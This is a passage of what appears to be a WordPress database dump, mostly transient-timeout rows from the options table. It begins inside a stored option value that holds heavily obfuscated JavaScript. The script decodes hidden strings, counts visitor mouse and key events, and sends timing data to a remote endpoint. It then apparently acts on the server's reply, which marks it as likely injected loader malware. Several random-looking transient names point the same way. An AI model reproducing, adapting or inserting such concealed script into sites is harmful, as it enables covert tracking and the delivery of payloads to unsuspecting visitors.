iWu1vB="5BAqJtnfPD!YyhX*d]Ije|a1Ex0QN@c~#$K8sF,CLVG?kOgSlm_7+9w;(3<WvZHo`[.M%T=U:p26i&^brR>}u4z/{\\")",dpxpFdu,ujmdYj,UDb49iP,Upbc7Fk,Vxc83G,yNBwSR,SnaOZXx;eq2pNs(dpxpFdu=""+(IgopBpX||""),ujmdYj=dpxpFdu.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],Vxc83G=ODBzWPg[0x0],yNBwSR=-ODBzWPg[0x1]);for(SnaOZXx=ODBzWPg[0x0];SnaOZXx<ujmdYj;SnaOZXx++){var q3xKOL=iWu1vB.indexOf(dpxpFdu[SnaOZXx]);if(q3xKOL===-ODBzWPg[0x1])continue;if(yNBwSR<ODBzWPg[0x0]){yNBwSR=q3xKOL}else{eq2pNs(yNBwSR+=q3xKOL*ODBzWPg[0xc],Upbc7Fk|=yNBwSR<<Vxc83G,Vxc83G+=(yNBwSR&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],Vxc83G-=ODBzWPg[0x2])}while(Vxc83G>ODBzWPg[0x9]);yNBwSR=-ODBzWPg[0x1]}}if(yNBwSR>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|yNBwSR<<Vxc83G)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function dpxpFdu(IgopBpX){if(typeof IeJPrn[IgopBpX]===ODBzWPg[0x5]){return IeJPrn[IgopBpX]=iWu1vB(odUOw2[IgopBpX])}return IeJPrn[IgopBpX]}return IgopBpX[dpxpFdu(0x9f)]&&fgM7Gv++}),document[iWu1vB(ODBzWPg[0x14])](iWu1vB(0xa0),IgopBpX=>{function iWu1vB(IgopBpX){var iWu1vB="cuIMaRPYQUGXgiLNDrVjK(>Oo*`!:btv~Jmw_f\\"1+2F|kedql{5?]z<Hp;&#yn,x[3.BZT7S=@6$)^4Ah}E9Cs8W%0/",dpxpFdu,ujmdYj,UDb49iP,Upbc7Fk,Vxc83G,yNBwSR,SnaOZXx;eq2pNs(dpxpFdu=""+(IgopBpX||""),ujmdYj=dpxpFdu.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],Vxc83G=ODBzWPg[0x0],yNBwSR=-ODBzWPg[0x1]);for(SnaOZXx=ODBzWPg[0x0];SnaOZXx<ujmdYj;SnaOZXx++){var q3xKOL=iWu1vB.indexOf(dpxpFdu[SnaOZXx]);if(q3xKOL===-ODBzWPg[0x1])continue;if(yNBwSR<ODBzWPg[0x0]){yNBwSR=q3xKOL}else{eq2pNs(yNBwSR+=q3xKOL*ODBzWPg[0xc],Upbc7Fk|=yNBwSR<<Vxc83G,Vxc83G+=(yNBwSR&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],Vxc83G-=ODBzWPg[0x2])}while(Vxc83G>ODBzWPg[0x9]);yNBwSR=-ODBzWPg[0x1]}}if(yNBwSR>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|yNBwSR<<Vxc83G)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function dpxpFdu(IgopBpX){if(typeof IeJPrn[IgopBpX]===ODBzWPg[0x5]){return IeJPrn[IgopBpX]=iWu1vB(odUOw2[IgopBpX])}return IeJPrn[IgopBpX]}return IgopBpX[dpxpFdu(0xa1)]&&rJ6EbP++}),window[iWu1vB(0xa2)]={["cl"](IgopBpX,iWu1vB,dpxpFdu){function ujmdYj(IgopBpX){var iWu1vB="Jkp)c.2SFvW>Vj\\"MlPK%5#6LB/!Z@g=4RX9|z~]o*8_u<0{mYTiHDEaU+,C}(xe[Od`^N:I&yn7$ws31?QqrAGbhft;",ujmdYj,Vxc83G,UDb49iP,Upbc7Fk,yNBwSR,SnaOZXx,q3xKOL;eq2pNs(ujmdYj=""+(IgopBpX||""),Vxc83G=ujmdYj.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],yNBwSR=ODBzWPg[0x0],SnaOZXx=-ODBzWPg[0x1]);for(q3xKOL=ODBzWPg[0x0];q3xKOL<Vxc83G;q3xKOL++){var aFXMC8w=iWu1vB.indexOf(ujmdYj[q3xKOL]);if(aFXMC8w===-ODBzWPg[0x1])continue;if(SnaOZXx<ODBzWPg[0x0]){SnaOZXx=aFXMC8w}else{eq2pNs(SnaOZXx+=aFXMC8w*ODBzWPg[0xc],Upbc7Fk|=SnaOZXx<<yNBwSR,yNBwSR+=(SnaOZXx&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],yNBwSR-=ODBzWPg[0x2])}while(yNBwSR>ODBzWPg[0x9]);SnaOZXx=-ODBzWPg[0x1]}}if(SnaOZXx>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|SnaOZXx<<yNBwSR)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function Vxc83G(IgopBpX){if(typeof IeJPrn[IgopBpX]===ODBzWPg[0x5]){return IeJPrn[IgopBpX]=ujmdYj(odUOw2[IgopBpX])}return IeJPrn[IgopBpX]}document[Vxc83G(0xa3)](IgopBpX)?.addEventListener(Vxc83G(0xa4),()=>{function IgopBpX(IgopBpX){var ujmdYj="|(8_/*?5:.W$P3uN}A%#[RGZq+4zSLTkF&h`DXlf,EBge10cI2>;O=iwC)pj~srMUJ!bd\\"7yKYo]HQx^{6vn9V<t@am",Vxc83G,iWu1vB,UDb49iP,Upbc7Fk,yNBwSR,SnaOZXx,q3xKOL;eq2pNs(Vxc83G=""+(IgopBpX||""),iWu1vB=Vxc83G.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],yNBwSR=ODBzWPg[0x0],SnaOZXx=-ODBzWPg[0x1]);for(q3xKOL=ODBzWPg[0x0];q3xKOL<iWu1vB;q3xKOL++){var aFXMC8w=ujmdYj.indexOf(Vxc83G[q3xKOL]);if(aFXMC8w===-ODBzWPg[0x1])continue;if(SnaOZXx<ODBzWPg[0x0]){SnaOZXx=aFXMC8w}else{eq2pNs(SnaOZXx+=aFXMC8w*ODBzWPg[0xc],Upbc7Fk|=SnaOZXx<<yNBwSR,yNBwSR+=(SnaOZXx&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],yNBwSR-=ODBzWPg[0x2])}while(yNBwSR>ODBzWPg[0x9]);SnaOZXx=-ODBzWPg[0x1]}}if(SnaOZXx>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|SnaOZXx<<yNBwSR)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function ujmdYj(ujmdYj){if(typeof IeJPrn[ujmdYj]===ODBzWPg[0x5]){return IeJPrn[ujmdYj]=IgopBpX(odUOw2[ujmdYj])}return IeJPrn[ujmdYj]}if(gwqRzG){return}gwqRzG=!ODBzWPg[0x0];const Vxc83G=pSZlNV();eq2pNs(UDb49iP[ujmdYj(0xa5)](Upbc7Fk,Vxc83G+udbLKX9*ODBzWPg[0x15]+""),setTimeout(()=>{function IgopBpX(IgopBpX){var UDb49iP="{8)$%^>:90]/<HF!g\\"eVU+D.sy*mW_IiC3#5nzOa|2;ZxJ4u1fbMd7TQ}poKcL?tvGB&l[j,@SNrXA=~qkwP(6ER`Yh",ujmdYj,Vxc83G,iWu1vB,Upbc7Fk,yNBwSR,SnaOZXx,q3xKOL;eq2pNs(ujmdYj=""+(IgopBpX||""),Vxc83G=ujmdYj.length,iWu1vB=[],Upbc7Fk=ODBzWPg[0x0],yNBwSR=ODBzWPg[0x0],SnaOZXx=-ODBzWPg[0x1]);for(q3xKOL=ODBzWPg[0x0];q3xKOL<Vxc83G;q3xKOL++){var aFXMC8w=UDb49iP.indexOf(ujmdYj[q3xKOL]);if(aFXMC8w===-ODBzWPg[0x1])continue;if(SnaOZXx<ODBzWPg[0x0]){SnaOZXx=aFXMC8w}else{eq2pNs(SnaOZXx+=aFXMC8w*ODBzWPg[0xc],Upbc7Fk|=SnaOZXx<<yNBwSR,yNBwSR+=(SnaOZXx&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(iWu1vB.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],yNBwSR-=ODBzWPg[0x2])}while(yNBwSR>ODBzWPg[0x9]);SnaOZXx=-ODBzWPg[0x1]}}if(SnaOZXx>-ODBzWPg[0x1]){iWu1vB.push((Upbc7Fk|SnaOZXx<<yNBwSR)&ODBzWPg[0x3])}return AFCCmx(iWu1vB)}function UDb49iP(UDb49iP){if(typeof IeJPrn[UDb49iP]===ODBzWPg[0x5]){return IeJPrn[UDb49iP]=IgopBpX(odUOw2[UDb49iP])}return IeJPrn[UDb49iP]}return lehCAMe(ujmdYj(0xa6),{[UDb49iP(0xa7)]:yNBwSR,[UDb49iP(0xa8)]:q3xKOL,[UDb49iP(0xa9)]:oOYU8bk-jbP6pS,mm:fgM7Gv,dc:rJ6EbP,fk:iWu1vB,[UDb49iP(0xaa)]:!document[UDb49iP(0xab)]&&document[UDb49iP(0xac)](),ms:Vxc83G-oOYU8bk})[UDb49iP(0xad)](IgopBpX=>{return IgopBpX&&setTimeout(()=>{return XNo3Frj(IgopBpX)},dpxpFdu?dpxpFdu-(pSZlNV()-Vxc83G):ODBzWPg[0x0])})[UDb49iP(0xae)](()=>{return ODBzWPg[0x0]})},0xa))})},ch:()=>{function IgopBpX(IgopBpX){var iWu1vB="vCLZiBRFpkq8zS*ma?2WxYPI)1w!l$9M7{3KX@<AytshGn/5^H>_%`T\\"o[E&6|Quf#c4,;JDUV]j(+0}:bN=~.gdOer",dpxpFdu,ujmdYj,UDb49iP,Upbc7Fk,Vxc83G,yNBwSR,SnaOZXx;eq2pNs(dpxpFdu=""+(IgopBpX||""),ujmdYj=dpxpFdu.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],Vxc83G=ODBzWPg[0x0],yNBwSR=-ODBzWPg[0x1]);for(SnaOZXx=ODBzWPg[0x0];SnaOZXx<ujmdYj;SnaOZXx++){var q3xKOL=iWu1vB.indexOf(dpxpFdu[SnaOZXx]);if(q3xKOL===-ODBzWPg[0x1])continue;if(yNBwSR<ODBzWPg[0x0]){yNBwSR=q3xKOL}else{eq2pNs(yNBwSR+=q3xKOL*ODBzWPg[0xc],Upbc7Fk|=yNBwSR<<Vxc83G,Vxc83G+=(yNBwSR&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],Vxc83G-=ODBzWPg[0x2])}while(Vxc83G>ODBzWPg[0x9]);yNBwSR=-ODBzWPg[0x1]}}if(yNBwSR>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|yNBwSR<<Vxc83G)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function iWu1vB(iWu1vB){if(typeof IeJPrn[iWu1vB]===ODBzWPg[0x5]){return IeJPrn[iWu1vB]=IgopBpX(odUOw2[iWu1vB])}return IeJPrn[iWu1vB]}return lehCAMe(iWu1vB(0xaf),{[iWu1vB(0xb0)]:yNBwSR,[iWu1vB(0xb1)]:q3xKOL})[iWu1vB(0xb2)](IgopBpX=>{return Number(IgopBpX)===ODBzWPg[0x1]})},bl:()=>{function IgopBpX(IgopBpX){var dpxpFdu="hAB&u(1_Vd4eCl?p:a]>`,grf/Z=DnK)W}EoRxFG[vXY+!S;<62{j#.cb%*NLHPkyMQ\\"qItTJ89~i5U0mz@|O3w$7^s",iWu1vB,ujmdYj,UDb49iP,Upbc7Fk,Vxc83G,yNBwSR,SnaOZXx;eq2pNs(iWu1vB=""+(IgopBpX||""),ujmdYj=iWu1vB.length,UDb49iP=[],Upbc7Fk=ODBzWPg[0x0],Vxc83G=ODBzWPg[0x0],yNBwSR=-ODBzWPg[0x1]);for(SnaOZXx=ODBzWPg[0x0];SnaOZXx<ujmdYj;SnaOZXx++){var q3xKOL=dpxpFdu.indexOf(iWu1vB[SnaOZXx]);if(q3xKOL===-ODBzWPg[0x1])continue;if(yNBwSR<ODBzWPg[0x0]){yNBwSR=q3xKOL}else{eq2pNs(yNBwSR+=q3xKOL*ODBzWPg[0xc],Upbc7Fk|=yNBwSR<<Vxc83G,Vxc83G+=(yNBwSR&ODBzWPg[0xd])>ODBzWPg[0xe]?ODBzWPg[0xf]:ODBzWPg[0x10]);do{eq2pNs(UDb49iP.push(Upbc7Fk&ODBzWPg[0x3]),Upbc7Fk>>=ODBzWPg[0x2],Vxc83G-=ODBzWPg[0x2])}while(Vxc83G>ODBzWPg[0x9]);yNBwSR=-ODBzWPg[0x1]}}if(yNBwSR>-ODBzWPg[0x1]){UDb49iP.push((Upbc7Fk|yNBwSR<<Vxc83G)&ODBzWPg[0x3])}return AFCCmx(UDb49iP)}function dpxpFdu(dpxpFdu){if(typeof IeJPrn[dpxpFdu]===ODBzWPg[0x5]){return IeJPrn[dpxpFdu]=IgopBpX(odUOw2[dpxpFdu])}return IeJPrn[dpxpFdu]}return lehCAMe(iWu1vB(0xb3),{[dpxpFdu(0xb4)]:yNBwSR,[dpxpFdu(0xb5)]:q3xKOL})[dpxpFdu(0xb6)](()=>{})}})}IgopBpX()})();";}', 'off'),
	(76978, '_transient_survey_questions_transient_request', '1', 'off'),
	(100833, '_transient_timeout_41822f824d775b19d78a73813be958c0', '1778583251', 'off'),
	(101464, '_transient_timeout_702f4bafcb03214a57bb76e58ed6500c', '1778735748', 'off'),
	(100855, '_transient_timeout_92b57cc872babf9b175fc7e6542eb017', '1778666123', 'off'),
	(100754, '_transient_timeout_action_scheduler_last_pastdue_actions_check', '1778552052', 'off'),
	(100622, '_transient_timeout_add97b55a83a0eef7aa0be817aa11ee7', '1778544312', 'off'),
	(100768, '_transient_timeout_amplitude_cleanup_amplitude_event_wordpress.easy_onboarding.enter', '1778534057', 'off'),
	(100765, '_transient_timeout_amplitude_cleanup_amplitude_event_wordpress.reach_banner.shown', '1778534056', 'off'),
	(100808, '_transient_timeout_c9a1507ae54eeff79a5031629ca62ad7', '1778582898', 'off'),
	(100739, '_transient_timeout_check_transients', '1778541257', 'off'),
	(100760, '_transient_timeout_client_eligibility_transient_response', '1778541253', 'off'),
	(96795, '_transient_timeout_CZCN3SxV0l', '1777321874', 'off'),
	(101478, '_transient_timeout_dash_v2_c05853b002c443ec8e57ff884f56cdde', '1778735773', 'off'),
	(100859, '_transient_timeout_elementor_migrations_manifest', '1778666151', 'off'),
	(101482, '_transient_timeout_elementor_pro_rollback_versions_3.28.2', '1779297786', 'off'),
	(94468, '_transient_timeout_elementor_remote_info_api_data_3.33.4', '1776775174', 'off'),
	(95098, '_transient_timeout_elementor_remote_info_api_data_4.0.3', '1776951719', 'off'),
	(101470, '_transient_timeout_elementor_remote_info_api_data_4.0.5', '1778736345', 'off'),
	(101480, '_transient_timeout_elementor_rollback_versions_4.0.5', '1779297785', 'off'),
	(101474, '_transient_timeout_feed_69c933d8a78805efd0abe985766ffb51', '1778735772', 'off'),
	(101476, '_transient_timeout_feed_d117b5738fbd35bd8c0391cda1f2b5d9', '1778735773', 'off'),
	(100896, '_transient_timeout_feed_mod_69c933d8a78805efd0abe985766ffb51', '1778735772', 'off'),
	(100900, '_transient_timeout_feed_mod_d117b5738fbd35bd8c0391cda1f2b5d9', '1778735773', 'off'),
	(92682, '_transient_timeout_gsrhri_quxr', '1776468648', 'off'),
	(100737, '_transient_timeout_hostinger_login_data', '1778541246', 'off'),
	(94493, '_transient_timeout_hyrcg_fkey', '1776767986', 'off'),
	(92277, '_transient_timeout_oonp_ojpoqv', '1776337681', 'off'),
	(76977, '_transient_timeout_survey_questions_transient_request', '1778541252', 'off'),
	(91809, '_transient_timeout_wbgjo_ssumxoa', '1776179456', 'off'),
	(101484, '_transient_timeout_wpmet-jhanda-10024424', '1779989109', 'off'),
	(100748, '_transient_timeout_wpseo_total_unindexed_general_items', '1778616851', 'off'),
	(101753, '_transient_timeout_wpseo_total_unindexed_posts_limited', '1778705469', 'off'),
	(100797, '_transient_timeout_wpseo_total_unindexed_terms_limited', '1778540385', 'off'),
	(100750, '_transient_timeout_wpseo_unindexed_post_link_count', '1778616851', 'off'),
	(100752, '_transient_timeout_wpseo_unindexed_term_link_count', '1778616851', 'off'),
	(100904, '_transient_timeout_wpseo-statistics-totals', '1778711160', 'off');
